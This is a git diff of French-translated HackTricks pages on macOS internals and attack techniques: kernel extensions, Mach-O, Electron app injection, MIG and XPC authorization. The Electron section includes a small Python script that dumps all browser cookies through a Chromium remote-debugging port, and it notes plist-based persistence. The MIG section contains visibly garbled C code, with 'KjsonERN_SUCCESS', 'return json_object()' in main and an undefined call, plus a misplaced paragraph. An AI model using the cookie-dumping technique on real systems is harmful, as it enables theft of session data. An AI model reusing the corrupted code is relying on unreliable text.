a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index d00ff4ed2..717b1ce44 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -4,7 +4,7 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live). @@ -14,20 +14,20 @@ ## Informations de base -Les extensions du noyau (Kexts) sont des **packages** avec une extension **`.kext`** qui sont **chargés directement dans l'espace noyau de macOS**, fournissant des fonctionnalités supplémentaires au système d'exploitation principal. +Les extensions du noyau (Kexts) sont des **paquets** avec une extension **`.kext`** qui sont **chargés directement dans l'espace noyau de macOS**, fournissant des fonctionnalités supplémentaires au système d'exploitation principal. ### Exigences -De toute évidence, il est **compliqué de charger une extension du noyau**. Voici les **exigences** qu'une extension du noyau doit remplir pour être chargée : +De toute évidence, c'est tellement puissant qu'il est **compliqué de charger une extension du noyau**. Voici les **exigences** qu'une extension du noyau doit remplir pour être chargée : * Lorsque vous **entrez en mode de récupération**, les **extensions du noyau doivent être autorisées** à être chargées : -
+
* L'extension du noyau doit être **signée avec un certificat de signature de code du noyau**, qui ne peut être **accordé que par Apple**. Qui examinera en détail l'entreprise et les raisons pour lesquelles elle est nécessaire. -* L'extension du noyau doit également être **notarisée**, Apple pourra la vérifier pour les logiciels malveillants. -* Ensuite, l'utilisateur **root** est celui qui peut **charger l'extension du noyau** et les fichiers à l'intérieur du package doivent **appartenir à root**. -* Pendant le processus de chargement, le package doit être préparé dans un **emplacement protégé non root** : `/Library/StagedExtensions` (nécessite l'autorisation `com.apple.rootless.storage.KernelExtensionManagement`). +* L'extension du noyau doit également être **notariée**, Apple pourra la vérifier pour les logiciels malveillants. +* Ensuite, l'utilisateur **root** est celui qui peut **charger l'extension du noyau** et les fichiers à l'intérieur du paquet doivent **appartenir à root**. +* Pendant le processus de chargement, le paquet doit être préparé dans un **emplacement protégé non root** : `/Library/StagedExtensions` (nécessite l'autorisation `com.apple.rootless.storage.KernelExtensionManagement`). * Enfin, lors de la tentative de chargement, l'utilisateur recevra une [**demande de confirmation**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) et, si elle est acceptée, l'ordinateur doit être **redémarré** pour la charger. ### Processus de chargement @@ -35,10 +35,10 @@ De toute évidence, il est **compliqué de charger une extension du noyau**. Voi Dans Catalina, c'était comme ça : Il est intéressant de noter que le processus de **vérification** se produit dans l'**espace utilisateur**. Cependant, seules les applications avec l'autorisation **`com.apple.private.security.kext-management`** peuvent **demander au noyau de charger une extension** : `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` 1. **`kextutil`** en ligne de commande **démarre** le processus de **vérification** pour charger une extension -* Il communiquera avec **`kextd`** en envoyant en utilisant un **service Mach**. -2. **`kextd`** vérifiera plusieurs éléments, tels que la **signature** -* Il communiquera avec **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**. -3. **`syspolicyd`** **demandera** à l'**utilisateur** s'il n'a pas été chargé précédemment. +* Il parlera à **`kextd`** en envoyant en utilisant un **service Mach**. +2. **`kextd`** vérifiera plusieurs choses, comme la **signature** +* Il parlera à **`syspolicyd`** pour **vérifier** si l'extension peut être **chargée**. +3. **`syspolicyd`** **demandera** à l'**utilisateur** si l'extension n'a pas été chargée précédemment. * **`syspolicyd`** rapportera le résultat à **`kextd`** 4. **`kextd`** pourra enfin **dire au noyau de charger** l'extension @@ -53,7 +53,7 @@ Si **`kextd`** n'est pas disponible, **`kextutil`** peut effectuer les mêmes v Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous pour une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée sur HackTricks**? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel de PEASS et HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index 30c4b51a0..895f4eacb 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -143,7 +143,7 @@ Il existe environ **50 types différents de commandes de chargement** que le sys ### **LC\_SEGMENT/LC\_SEGMENT\_64** {% hint style="success" %} -Essentiellement, ce type de commande de chargement définit **comment charger les segments \_\_TEXT** (code exécutable) **et \_\_DATA** (données du processus) **selon les décalages indiqués dans la section Data** lorsque le binaire est exécuté. +Essentiellement, ce type de commande de chargement définit **comment charger les segments \_\_TEXT** (code exécutable) **et \_\_DATA** (données pour le processus) **selon les décalages indiqués dans la section Data** lorsque le binaire est exécuté. {% endhint %} Ces commandes **définissent des segments** qui sont **cartographiés** dans l'**espace mémoire virtuel** d'un processus lors de son exécution. @@ -173,7 +173,7 @@ Exemple d'en-tête de segment :
-Cet en-tête définit le **nombre de sections dont les en-têtes apparaissent après** : +Cet en-tête définit le **nombre de sections dont les en-têtes apparaissent après** lui : ```c struct section_64 { /* for 64-bit architectures */ char sectname[16]; /* name of this section */ @@ -190,32 +190,32 @@ uint32_t reserved2; /* reserved (for count or sizeof) */ uint32_t reserved3; /* reserved */ }; ``` -Exemple de **titre de section** : +Exemple de **en-tête de section** :
Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où **l'architecture commence**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` -
+
Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec : ```bash otool -lv /bin/ls ``` -Les segments communs chargés par cette commande : +Les segments courants chargés par cette commande : * **`__PAGEZERO` :** Il indique au noyau de **mapper** l'**adresse zéro** afin qu'elle ne puisse pas être lue, écrite ou exécutée. Les variables maxprot et minprot dans la structure sont définies à zéro pour indiquer qu'il n'y a **aucun droit de lecture-écriture-exécution sur cette page**. -* Cette allocation est importante pour **atténuer les vulnérabilités de déréférencement de pointeur NULL**. +* Cette allocation est importante pour **atténuer les vulnérabilités de référence de pointeur NULL**. * **`__TEXT` :** Contient du **code exécutable** avec des autorisations de **lecture** et d'**exécution** (pas d'écriture). Sections courantes de ce segment : * `__text` : Code binaire compilé * `__const` : Données constantes * `__cstring` : Constantes de chaîne * `__stubs` et `__stubs_helper` : Impliqués lors du processus de chargement de bibliothèque dynamique -* **`__DATA` :** Contient des données **lisibles** et **inscriptibles** (non exécutables). +* **`__DATA` :** Contient des données **lisibles** et **modifiables** (non exécutables). * `__data` : Variables globales (qui ont été initialisées) * `__bss` : Variables statiques (qui n'ont pas été initialisées) * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc) : Informations utilisées par le runtime Objective-C -* **`__LINKEDIT` :** Contient des informations pour le lien (dyld) telles que "entrées de table de symboles, de chaînes et de réadressage". +* **`__LINKEDIT` :** Contient des informations pour le linker (dyld) telles que "entrées de table de symboles, de chaînes et de réadressage". * **`__OBJC` :** Contient des informations utilisées par le runtime Objective-C. Bien que ces informations puissent également être trouvées dans le segment \_\_DATA, dans diverses sections \_\_objc\_\*. ### **`LC_MAIN`** @@ -279,13 +279,13 @@ Au cœur du fichier se trouve la région des données, composée de plusieurs se Les données sont essentiellement la partie contenant toutes les **informations** chargées par les commandes de chargement **LC\_SEGMENTS\_64** {% endhint %} -![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>) +![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>) Cela inclut : * **Table des fonctions** : Qui contient des informations sur les fonctions du programme. * **Table des symboles** : Qui contient des informations sur les fonctions externes utilisées par le binaire -* Il pourrait également contenir des fonctions internes, des noms de variables, et plus encore. +* Il pourrait également contenir des noms de fonctions internes, des noms de variables et plus encore. Pour vérifier, vous pouvez utiliser l'outil [**Mach-O View**](https://sourceforge.net/projects/machoview/) : @@ -297,14 +297,14 @@ size -m /bin/ls ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -D'autres façons de soutenir HackTricks: +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index f5823a635..9d27c0717 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : - Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** - **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -21,15 +21,15 @@ Et node a certains **paramètres** et **variables d'environnement** qui peuvent ### Fusibles Electron -Ces techniques seront discutées ensuite, mais récemment, Electron a ajouté plusieurs **drapeaux de sécurité pour les prévenir**. Ce sont les [**Fusibles Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) et ce sont ceux utilisés pour **empêcher** les applications Electron sur macOS de **charger du code arbitraire** : +Ces techniques seront discutées ensuite, mais récemment, Electron a ajouté plusieurs **drapeaux de sécurité pour les prévenir**. Ce sont les [**Fusibles Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) et ceux-ci sont utilisés pour **empêcher** les applications Electron sur macOS de **charger du code arbitraire** : - **`RunAsNode`** : S'il est désactivé, il empêche l'utilisation de la variable d'environnement **`ELECTRON_RUN_AS_NODE`** pour injecter du code. -- **`EnableNodeCliInspectArguments`** : S'il est désactivé, des paramètres comme `--inspect`, `--inspect-brk` ne seront pas respectés. Évitant ainsi l'injection de code de cette manière. -- **`EnableEmbeddedAsarIntegrityValidation`** : S'il est activé, le fichier **`asar`** chargé sera **validé** par macOS. **Empêchant ainsi** l'injection de code en modifiant le contenu de ce fichier. -- **`OnlyLoadAppFromAsar`** : Si cela est activé, au lieu de rechercher le chargement dans l'ordre suivant : **`app.asar`**, **`app`** et enfin **`default_app.asar`**. Il vérifiera et utilisera uniquement app.asar, garantissant ainsi que lorsqu'il est **combiné** avec le fusible **`embeddedAsarIntegrityValidation`**, il est **impossible** de **charger du code non validé**. +- **`EnableNodeCliInspectArguments`** : S'il est désactivé, les paramètres tels que `--inspect`, `--inspect-brk` ne seront pas respectés. Évitant ainsi l'injection de code. +- **`EnableEmbeddedAsarIntegrityValidation`** : S'il est activé, le fichier **`asar`** chargé sera validé par macOS. Empêchant ainsi l'injection de code en modifiant le contenu de ce fichier. +- **`OnlyLoadAppFromAsar`** : S'il est activé, au lieu de rechercher le chargement dans l'ordre suivant : **`app.asar`**, **`app`** et enfin **`default_app.asar`**. Il vérifiera et utilisera uniquement app.asar, garantissant ainsi que lorsqu'il est **combiné** avec le fusible **`embeddedAsarIntegrityValidation`**, il est **impossible** de **charger du code non validé**. - **`LoadBrowserProcessSpecificV8Snapshot`** : S'il est activé, le processus du navigateur utilise le fichier appelé `browser_v8_context_snapshot.bin` pour son instantané V8. -Un autre fusible intéressant qui ne préviendra pas l'injection de code est : +Un autre fusible intéressant qui n'empêchera pas l'injection de code est : - **EnableCookieEncryption** : S'il est activé, le stockage des cookies sur le disque est chiffré à l'aide de clés de cryptographie au niveau du système d'exploitation. @@ -60,9 +60,9 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions ``` Vous pouvez charger ce fichier dans [https://hexed.it/](https://hexed.it/) et rechercher la chaîne précédente. Après cette chaîne, vous pouvez voir en ASCII un nombre "0" ou "1" indiquant si chaque fusible est désactivé ou activé. Modifiez simplement le code hexadécimal (`0x30` est `0` et `0x31` est `1`) pour **modifier les valeurs des fusibles**. -
+
-Notez que si vous essayez de **remplacer** le binaire du **`Framework Electron`** à l'intérieur d'une application avec ces octets modifiés, l'application ne se lancera pas. +Notez que si vous essayez de **remplacer** le **binaire du framework Electron** à l'intérieur d'une application avec ces octets modifiés, l'application ne se lancera pas. ## RCE ajout de code aux applications Electron @@ -189,7 +189,7 @@ Cependant, vous pouvez toujours utiliser le **paramètre electron `--remote-debu En utilisant le paramètre **`--remote-debugging-port=9222`**, il est possible de voler des informations de l'application Electron comme l'**historique** (avec des commandes GET) ou les **cookies** du navigateur (car ils sont **décryptés** à l'intérieur du navigateur et qu'il existe un **point de terminaison json** qui les fournira). -Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un script simple comme : +Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un simple script comme : ```python import websocket ws = websocket.WebSocket() @@ -197,9 +197,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est exploité pour faire en sorte que Chrome sans interface **télécharge des fichiers arbitraires dans des emplacements arbitraires**. +Dans [**cet article de blog**](https://hackerone.com/reports/1274695), ce débogage est exploité pour faire en sorte que Chrome sans interface télécharge des fichiers arbitraires dans des emplacements arbitraires. -### Injection à partir du fichier Plist de l'application +### Injection depuis le fichier Plist de l'application Vous pourriez exploiter cette variable d'environnement dans un fichier plist pour maintenir la persistance en ajoutant ces clés : ```xml @@ -281,7 +281,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index dde5ec260..dd35355df 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -44,9 +44,6 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs Plusieurs nouveaux fichiers seront créés dans le répertoire actuel. Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500) : - -{% tabs %} -{% tab title="myipcServer.c" %} ```c /* Description of this subsystem, for use in direct RPC */ const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = { @@ -68,11 +65,20 @@ myipc_server_routine, ### macOS MIG (Mach Interface Generator) -Le générateur d'interface Mach (MIG) est un outil fourni par Apple pour simplifier la communication entre les processus sur macOS. Il génère des interfaces de programmation pour les services système qui utilisent le Mach IPC pour la communication inter-processus. +Le générateur d'interface Mach (MIG) est un outil fourni par Apple pour simplifier la communication entre les processus sur macOS. Il génère des interfaces de programmation pour les services système qui utilisent le Mach IPC (Inter-Process Communication). -L'utilisation de MIG peut présenter des risques de sécurité, car une mauvaise configuration des interfaces peut entraîner des vulnérabilités de type dépassement de tampon ou de fuite de mémoire. Il est essentiel de sécuriser correctement les interfaces générées par MIG pour éviter les abus de processus et les élévations de privilèges sur un système macOS. +Voici un exemple de fichier d'en-tête pour un serveur MIG personnalisé : -Assurez-vous de comprendre en profondeur le fonctionnement de MIG et de mettre en œuvre les bonnes pratiques de sécurité lors de son utilisation dans le développement d'applications macOS. +```c +#include +#include + +kern_return_t my_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); +``` + +Dans cet exemple, `my_server` est la fonction qui sera appelée pour traiter les messages reçus par le serveur MIG personnalisé. + +L'utilisation de MIG peut introduire des vulnérabilités de sécurité si les entrées ne sont pas correctement validées, ce qui peut être exploité pour des attaques de privilège d'escalade. Il est essentiel de sécuriser correctement les services utilisant MIG pour éviter les abus de processus sur macOS. {% endtab %} ```c @@ -90,7 +96,7 @@ routine[1]; {% endtab %} {% endtabs %} -Basé sur la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler : +En fonction de la structure précédente, la fonction **`myipc_server_routine`** recevra l'**ID du message** et renverra la fonction appropriée à appeler : ```c mig_external mig_routine_t myipc_server_routine (mach_msg_header_t *InHeadP) @@ -114,7 +120,7 @@ En fait, il est possible d'identifier cette relation dans la structure **`subsys { "Subtract", 500 } #endif ``` -Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va effectivement **appeler la fonction** liée à l'ID reçu : +Enfin, une autre fonction importante pour faire fonctionner le serveur sera **`myipc_server`**, qui est celle qui va effectivement **appeler la fonction** liée à l'identifiant reçu :
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -196,21 +202,23 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
 
 int main() {
     mach_port_t bootstrap_port;
-    kern_return_t err;
-
-    err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
-    if (err != KERN_SUCCESS) {
+    kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
+    if (kr != KERN_SUCCESS) {
         printf("Failed to get bootstrap port\n");
         return 1;
     }
 
-    err = myipc_register(bootstrap_port);
-    if (err != KjsonERN_SUCCESS) {
-        printf("Failed to register myipc service\n");
-        return 1;
+    myipc_args_t args = {0};
+    args.x = 10;
+    args.y = 20;
+
+    kr = myipc_call(bootstrap_port, &args);
+    if (kr != KERN_SUCCESS) {
+        printf("Failed to call myipc\n");
+        return json_object();
     }
 
-    printf("myipc service registered successfully\n");
+    printf("Result: %d\n", args.result);
 
     return 0;
 }
@@ -372,10 +380,10 @@ return r0;
 
 En fait, si vous allez à la fonction **`0x100004000`**, vous trouverez le tableau des structures **`routine_descriptor`**. Le premier élément de la structure est l'**adresse** où la **fonction** est implémentée, et la **structure prend 0x28 octets**, donc tous les 0x28 octets (à partir de l'octet 0) vous pouvez obtenir 8 octets et ce sera l'**adresse de la fonction** qui sera appelée :
 
-
-
+
+ Ces données peuvent être extraites [**en utilisant ce script Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
@@ -388,4 +396,6 @@ Autres façons de soutenir HackTricks : * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index 7bb94676a..8685e31c0 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -47,10 +47,10 @@ Pour plus d'informations sur la manière de configurer correctement cette vérif ### Droits de l'application -Cependant, il y a une **autorisation en cours lorsque qu'une méthode du HelperTool est appelée**. +Cependant, il y a une **autorisation en cours lorsqu'une méthode du HelperTool est appelée**. La fonction **`applicationDidFinishLaunching`** de `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\ -Ensuite, elle essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` : +Ensuite, il essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights` : ```objectivec - (void)applicationDidFinishLaunching:(NSNotification *)note { @@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess); }]; } ``` -La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo` : +La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo`: ```objectivec static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; @@ -186,7 +186,7 @@ block(authRightName, authRightDefault, authRightDesc); ``` Cela signifie qu'à la fin de ce processus, les autorisations déclarées à l'intérieur de `commandInfo` seront stockées dans `/var/db/auth.db`. Remarquez comment vous pouvez trouver pour **chaque méthode** qui **nécessite une authentification**, le **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**. -Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez les trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé : +Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
NomValeurDescription
kAuthorizationRuleClassAllowallowQuiconque
kAuthorizationRuleClassDenydenyPersonne
kAuthorizationRuleIsAdminis-adminL'utilisateur actuel doit être un administrateur (dans le groupe admin)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerDemander à l'utilisateur de s'authentifier.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminDemander à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)
